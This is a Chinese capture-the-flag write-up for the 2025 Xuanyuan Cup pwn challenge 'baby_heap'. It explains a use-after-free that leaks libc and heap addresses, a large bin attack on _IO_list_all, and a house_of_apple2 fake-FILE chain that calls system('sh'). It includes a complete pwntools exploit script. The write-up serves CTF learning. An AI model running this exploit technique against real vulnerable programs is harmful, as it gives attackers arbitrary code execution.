轩辕杯2025 Pwn baby_heap WP(house_of_apple2)

checksec:

保护全开 64位

IDA64打开 整理函数

add:

最多能申请17个chunk,只能申请0x410以上大小的chunk,也就是只能申请large bin对应的chunk

edit:

正常的编辑

delete:

存在UAF漏洞,且只能free两次

show:

正常展示出内容

发现只能申请large chunk,,存在UAF漏洞,所以先利用Large bin泄露libc基址:

python 复制代码
add(0, 0x450)
add(1, 0x450)
add(2, 0x458)
add(3, 0x430)
delete(1)
add(4, 0x500)
show(1)
leak = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = leak - 0x21b0e0
print(hex(libc_base))

因为有UAF 泄露基址相对容易

接下来利用Large bin attack把IO_list_all地址改为堆地址

python 复制代码
IO_list_all_addr = libc_base + libc.sym['_IO_list_all']
print(hex(IO_list_all_addr))
#pause()
system_addr = libc_base + libc.sym['system']

fdbk = leak
add(4, 0x500)
edit(1, p64(fdbk) * 2 + p64(0) + p64(IO_list_all_addr - 0x20))
delete(3)
add(5, 0x500)

把chunk1的bk_nextsize编辑为_IO_list_all-0x20,其他不变

chunk3比chunk1要小,插入时不会检查bk_nextsize 从而能够覆盖目标地址

可以看到,_IO_list_all的位置成功指向的chunk3的地址

再下一步,就是泄露堆地址并利用house of apple2打

python 复制代码
show(1)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xfb0
print(hex(heap_base))
pause()
_IO_wfile_jumps_addr = libc_base + libc.sym['_IO_wfile_jumps']
fake_file = p64(0)
fake_file += p64(0)
fake_file += p64(0) #_IO_write_base
fake_file += p64(1) #_IO_write_ptr
fake_file += p64(0)
fake_file += p64(0) #_IO_buf_base
fake_file += p64(0)
fake_file += p64(0) * 4
fake_file += p64(0)
fake_file += p32(2) #fileno
fake_file += p32(0)
fake_file += p64(0xFFFFFFFFFFFFFFFF) #_old_offset,-1
fake_file += p64(0)
fake_file += p64(0) #_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) #_offset, -1
fake_file += p64(0)
fake_file += p64(heap_base + 0x2a0)  #!   _IO_wide_data
fake_file += p64(0)
fake_file += p64(0) * 2
fake_file += p64(0) * 2
fake_file += p64(0)
fake_file += p64(_IO_wfile_jumps_addr) #fake vtable
edit(3, fake_file)
#Fake_Fake_IO_wide_data:
Fake_Fake_IO_wide_data = b'\x00' * (0xe0) + p64(heap_base + 0xb50)
edit(0, Fake_Fake_IO_wide_data)
#Fake_wide_vtable:
Fake_wide_vtable = p64(0) * 11 + p64(system_addr) + p64(0) * 7
Fake_wide_vtable = Fake_wide_vtable.ljust(0x450, b'\x00')
Fake_wide_vtable += b'  sh'
edit(2, Fake_wide_vtable)

设置的FILE结构体检查要求:

_IO_write_ptr > _IO_write_base 1 > 0

_IO_buf_base置为0

fileno为有效数字,这里设置为2:标准错误流(只要是有效的fileno就可以)

_old_offset&_offset=-1:表示无有效偏移量

_IO_wide_data:指向Fake_Fake_IO_wide_data的地址(伪造的),这里需要用调试得出

fake vtable:指向_IO_wfile_jumps_addr 虚函数表 house of apple的控制程序流套路

Fake_Fake_IO_wide_data:伪造的_IO_wide_data,在偏移0xe0位写入Fake_wide_vtable所在地址

Fake_wide_vtable:伪造的_IO_jump_t ,其中偏移为0x68的位置为__doallocate 将其改写为system函数

再把Fake_wide_vtable对应的堆填满直到相邻堆的size位,将其修改为' sh'(对应fake_file的flag位),这也是为什么chunk2要设置成0x458,是为了将下一个chunk的size位修改了

最后再调用exit()就能get shell

总exp:

python 复制代码
from pwn import *

context(os='linux', arch='amd64', log_level='debug')
p = process('./babyheap')
libc = ELF('./libc.so.6')
def add(index, size):
    p.sendlineafter(b"choice:\n", b'1')
    p.sendlineafter(b'index:\n', str(index))
    p.sendlineafter(b'size:\n' , str(size))

def delete(index):
    p.sendlineafter(b'choice:\n' , b'2')
    p.sendlineafter(b'index:\n' , str(index))

def edit(index,message):
    p.sendlineafter(b'choice:\n' , b'3')
    p.sendlineafter(b'index:\n' , str(index))
    p.sendlineafter(b'content:\n' , message)

def show(index):
    p.sendlineafter(b'choice:\n' , b'4')
    p.sendlineafter(b'index:\n' , str(index))

gdb.attach(p)

add(0, 0x450)
add(1, 0x450)
add(2, 0x458)
add(3, 0x430)
delete(1)

show(1)
leak = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = leak - 0x21ace0
print(hex(libc_base))
IO_list_all_addr = libc_base + libc.sym['_IO_list_all']
print(hex(IO_list_all_addr))
#pause()
system_addr = libc_base + libc.sym['system']

fdbk = leak
add(4, 0x500)
edit(1, p64(fdbk) * 2 + p64(0) + p64(IO_list_all_addr - 0x20))
delete(3)
add(5, 0x500)

show(1)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xfb0
print(hex(heap_base))
pause()
_IO_wfile_jumps_addr = libc_base + libc.sym['_IO_wfile_jumps']
fake_file = p64(0)
fake_file += p64(0)
fake_file += p64(0) #_IO_write_base
fake_file += p64(1) #_IO_write_ptr
fake_file += p64(0)
fake_file += p64(0) #_IO_buf_base
fake_file += p64(0)
fake_file += p64(0) * 4
fake_file += p64(0)
fake_file += p32(2) #fileno
fake_file += p32(0)
fake_file += p64(0xFFFFFFFFFFFFFFFF) #_old_offset,-1
fake_file += p64(0)
fake_file += p64(0) #_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) #_offset, -1
fake_file += p64(0)
fake_file += p64(heap_base + 0x2a0)  #!   _IO_wide_data
fake_file += p64(0)
fake_file += p64(0) * 2
fake_file += p64(0) * 2
fake_file += p64(0)
fake_file += p64(_IO_wfile_jumps_addr) #fake vtable
edit(3, fake_file)
#Fake_Fake_IO_wide_data:
Fake_Fake_IO_wide_data = b'\x00' * (0xe0) + p64(heap_base + 0xb50)
edit(0, Fake_Fake_IO_wide_data)
#Fake_wide_vtable:
Fake_wide_vtable = p64(0) * 11 + p64(system_addr) + p64(0) * 7
Fake_wide_vtable = Fake_wide_vtable.ljust(0x450, b'\x00')
Fake_wide_vtable += b'  sh'
edit(2, Fake_wide_vtable)

p.sendlineafter(b"choice:\n", str(5)) #exit(0)
p.interactive()
相关推荐
Gappsong8747 分钟前
Rufus:Ubuntu U盘启动盘制作工具详解
linux·c++·web安全·网络安全
第十六年盛夏.4 小时前
【网络安全】DDOS攻击
安全·web安全·ddos
两圆相切4 小时前
等保2.0详解:筑牢数字时代安全基石
安全
hrrrrb4 小时前
【密码学】2. 古典密码
网络·安全·密码学
云祺vinchin5 小时前
云祺容灾备份系统Hadoop备份与恢复实操手册
运维·网络·安全·数据安全
漫路在线6 小时前
记一次从外网打通AWS云
网络·安全·aws
码间舞7 小时前
XSS攻击你是否真的了解?案例细说,XSS供方两端的较量
前端·安全
Sh3r10ck7 小时前
【Hack The Box】Artificial Write Up
安全
卓豪终端管理7 小时前
如何加固Endpoint Central服务器的安全?(上)
运维·服务器·人工智能·安全·网络安全·自动化